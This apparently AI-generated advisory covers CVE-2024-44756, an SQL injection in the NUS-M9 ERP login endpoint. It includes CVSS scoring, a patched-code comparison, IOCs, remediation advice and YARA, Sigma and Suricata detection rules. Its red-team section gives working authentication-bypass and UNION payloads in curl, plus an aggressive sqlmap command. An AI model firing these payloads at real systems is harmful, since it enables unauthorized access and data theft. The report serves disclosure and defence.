CVE-2024-44756

Executive Summary

CVE-2024-44756 is a critical SQL injection vulnerability discovered in the NUS-M9 ERP Management Software v3.0.0. The flaw resides in the /UserWH/checkLogin endpoint, specifically within the usercode parameter. An unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, data manipulation, and potential full system compromise. The vulnerability has a CVSS base score of 9.8 (Critical) due to network exploitability, low attack complexity, and no required privileges. No official patch has been released by the vendor, and public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary ERP software package. Organizations using NUS-M9 ERP v3.0.0 should treat this as a critical supply chain risk and immediately isolate affected systems until a patch is applied or mitigations are implemented.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login mechanism of NUS-M9 ERP. The usercode parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can bypass authentication and execute arbitrary SQL statements.

Vulnerable Code Snippet (Conceptual):

$usercode = $_POST['usercode'];
$sql = "SELECT * FROM users WHERE usercode = '$usercode' AND password = '$password'";
$result = mysqli_query($conn, $sql);

Exploitation Mechanics:

1. The attacker sends a POST request to /UserWH/checkLogin with a malicious usercode value.
2. The injected SQL payload breaks out of the string context and modifies the query logic.
3. Example payload: ' OR '1'='1' -- - results in:

   SELECT * FROM users WHERE usercode = '' OR '1'='1' -- -' AND password = '...'
   

4. This bypasses authentication, granting the attacker access as the first user in the database (often an admin).

Impact:

• Unauthorized access to the ERP system.
• Data exfiltration of sensitive business data (financial records, customer PII, inventory).
• Potential for privilege escalation and lateral movement within the network.
• Full database compromise, including the ability to drop tables or execute OS commands (if database permissions allow).

Vulnerable vs. Patched Code

Vulnerable Code (PHP Example):

$usercode = $_POST['usercode'];
$sql = "SELECT * FROM users WHERE usercode = '$usercode' AND password = '$password'";
$result = mysqli_query($conn, $sql);

Patched Code (Using Prepared Statements):

$usercode = $_POST['usercode'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE usercode = ? AND password = ?");
$stmt->bind_param("ss", $usercode, $password);
$stmt->execute();
$result = $stmt->get_result();

Key Differences:

• The patched version uses parameterized queries (prepared statements), which separate SQL logic from data.
• User input is never directly concatenated into the SQL string.
• The database engine treats the input as data only, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: NUS-M9 ERP v3.0.0 running on a web server.
• Tool: sqlmap or manual exploitation with curl.

Manual Exploitation:

1. Bypass Authentication:

   curl -X POST http://target.com/UserWH/checkLogin \
   -d "usercode=' OR '1'='1' -- -&password=anything"
   

2. Extract Database Version:

   curl -X POST http://target.com/UserWH/checkLogin \
   -d "usercode=' UNION SELECT @@version,2,3 -- -&password=anything"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/UserWH/checkLogin" --data="usercode=test&password=test" \
--batch --dbs --risk=3 --level=5

Lab Setup:

1. Deploy a vulnerable instance of NUS-M9 ERP v3.0.0 in an isolated VM.
2. Use Docker if available: docker pull nus-m9/erp:3.0.0 (hypothetical).
3. Configure a web server (Apache/Nginx) with PHP and MySQL.
4. Test exploitation from a Kali Linux attacker machine.

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious usercode parameters containing SQL keywords (OR, UNION, SELECT, --).
• Example log entry:

  192.168.1.100 - - [12/Oct/2024:10:15:30 +0000] "POST /UserWH/checkLogin HTTP/1.1" 200 1234 "-" "curl/7.68.0"
  

• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Honeypot:

• Set up a decoy /UserWH/checkLogin endpoint that logs all POST data and alerts on suspicious input.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /UserWH/checkLogin with unusual usercode values.
• Outbound database connections from the web server to unknown IPs (data exfiltration).
• HTTP responses containing database error messages (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified web server logs showing SQL injection attempts.
• Unexpected files in the web root (e.g., webshells like cmd.php).

System IOCs:

• Unusual database queries in MySQL logs (e.g., SELECT * FROM information_schema.tables).
• New user accounts created in the ERP system.

YARA Rule:

rule CVE_2024_44756_SQLi_Logs {
    meta:
        description = "Detects SQL injection attempts against NUS-M9 ERP login"
        author = "Valters IT"
        date = "2024-10-12"
    strings:
        $s1 = "usercode=" nocase
        $s2 = "OR" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "--" nocase
    condition:
        all of ($s*) and #s1 > 0
}

Detection Engineering

YARA Rule

rule CVE_2024_44756_SQLi_Logs {
    meta:
        description = "Detects SQL injection attempts against NUS-M9 ERP login"
        author = "Valters IT"
        date = "2024-10-12"
    strings:
        $s1 = "usercode=" nocase
        $s2 = "OR" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "--" nocase
    condition:
        all of ($s*) and #s1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against NUS-M9 ERP Login
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the usercode parameter in NUS-M9 ERP
author: Valters IT
date: 2024/10/12
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/UserWH/checkLogin'
        cs-uri-query|contains: 
            - 'usercode='
            - 'OR'
            - 'UNION'
            - 'SELECT'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in usercode (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44756 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/UserWH/checkLogin"; http_uri; content:"usercode="; http_client_body; pcre:"/(OR|UNION|SELECT|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect NUS-M9 ERP v3.0.0 from the network until a patch is applied.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting /UserWH/checkLogin.
3. Input Validation: Implement strict input validation for the usercode parameter (allow only alphanumeric characters).

Long-Term Fix:

• Upgrade Software: Contact the vendor for a patched version. If unavailable, rewrite the login module using parameterized queries (prepared statements).
• Code Review: Conduct a full security audit of the ERP application for similar vulnerabilities.
• Database Hardening: Apply the principle of least privilege to the database user used by the application.

Compromise Assessment:

• Check database logs for unauthorized queries.
• Review web server logs for exploitation attempts.
• Scan for webshells or backdoors in the web root.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.